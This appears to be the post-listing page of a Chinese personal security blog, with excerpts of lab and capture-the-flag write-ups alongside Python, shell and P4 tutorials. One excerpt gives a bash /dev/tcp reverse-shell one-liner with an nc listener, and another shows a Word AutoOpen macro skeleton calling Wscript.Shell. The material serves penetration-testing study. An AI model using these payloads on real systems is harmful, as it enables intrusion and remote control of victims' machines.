zhyann的头像-白鸢的笔记
管理员
这家伙很懒,什么都没有写...
Paper 数据包头扫描 sudo version 1.8.29-白鸢的笔记

Paper 数据包头扫描 sudo version 1.8.29

简介PaperDifficulty Medium 实验环境攻击者 Kali 10.10.16.9受害者 IP 10.10.11.143  Linux 1. 信息收集收集受害者服务详情nmap -sV -A 10.10.11.14322 80 443开启 直接gobuster是没有用的...
1年前
04214
w34kn3ss OpenSSL 0.9.8c-1 < 0.9.8g-9漏洞 python反编译-白鸢的笔记

w34kn3ss OpenSSL 0.9.8c-1 < 0.9.8g-9漏洞 python反编译

实验环境攻击者 Kali 192.168.192.128受害者 IP 192.168.192.187 Linux 1. 信息收集如果不把域名放入/etc/hosts的话 那么就掉到兔子洞里了所以把这个写入/etc/hosts中访问weakness.jth/| __ / ...
1年前
09514
交互式shell和稳定shell的建立-白鸢的笔记

交互式shell和稳定shell的建立

1. python方式建立交互式shell攻击者先监听nc -lvnp 监听端口 受害者bash -c 'bash -i >& /dev/tcp/攻击者ip/攻击者端口 0>&1'再攻击者端就能得到shell 如果有python 可以使用...
1年前
07814
获取键盘输入:input语句-白鸢的笔记

获取键盘输入:input语句

1.input语句input语句(函数)我们前面学习过pint语句(函数),可以完成将内容(字面量、变量等)输出到屏幕上。在Python中,与之对应的还有一个input语句,用来获取键盘输入。·数据输出:print...
2年前
06214
shell编程之循环-白鸢的笔记

shell编程之循环

1. for循环格式1:for NAME [ in WORDS ...]; do COMMANDS;done for变量名 [ in 列表 ];do 循环体 done for 变量名 [ in 列表 ] do 循环体 done执行机制:依次将列表中的元素赋值给变量名;每次...
2年前
06414
p4编程-BMv2交换机命令行交互界面-白鸢的笔记

p4编程-BMv2交换机命令行交互界面

1. simple_switch_CLI命令概览simple_switch_CLI作为BMv2交换机的命令行交互界面,提供了表项配置,端口配置等常用命令在P4程序的开发和调试中会频繁使用 2. 通过simple_switch_CLI进行表项配...
20天前
05214
Illusion-白鸢的笔记

Illusion

简介point 20IllusionDifficulty INTERMEDIATErated by community VERY HARD Do you believe your eyes? 实验环境攻击者 Kali 192.168.45.174受害者 IP 192.168.199.203 Linux 1. 信息收集...
SwagShop   Magento漏洞挖掘利用-白鸢的笔记

SwagShop Magento漏洞挖掘利用

简介SwagShopDifficulty Easy 实验环境攻击者 Kali 10.10.16.16受害者 IP 10.10.10.140  Linux 1. 信息收集收集受害者服务详情nmap -T5 -n -vvv -oA Irked -noscript 10.10.10.14022 80 端口...
1年前
08413
Fail-白鸢的笔记

Fail

简介point 20NukemDifficulty INTERMEDIATErated by community INTERMEDIAT You shall not pass. 实验环境攻击者 Kali 192.168.45.209受害者 IP 192.168.181.126  Linux 1. 信息收集收集受...
客户端攻击1 word宏攻击-白鸢的笔记

客户端攻击1 word宏攻击

1. 创建一个doc文件 不要docx的 2. 开始创建宏 3. 宏病毒框架Sub AutoOpen() MyMacro End Sub Sub Document_Open() MyMacro End Sub Sub MyMacro() #这里写命令 CreateObject('Wscript.Shell'...
1年前
05313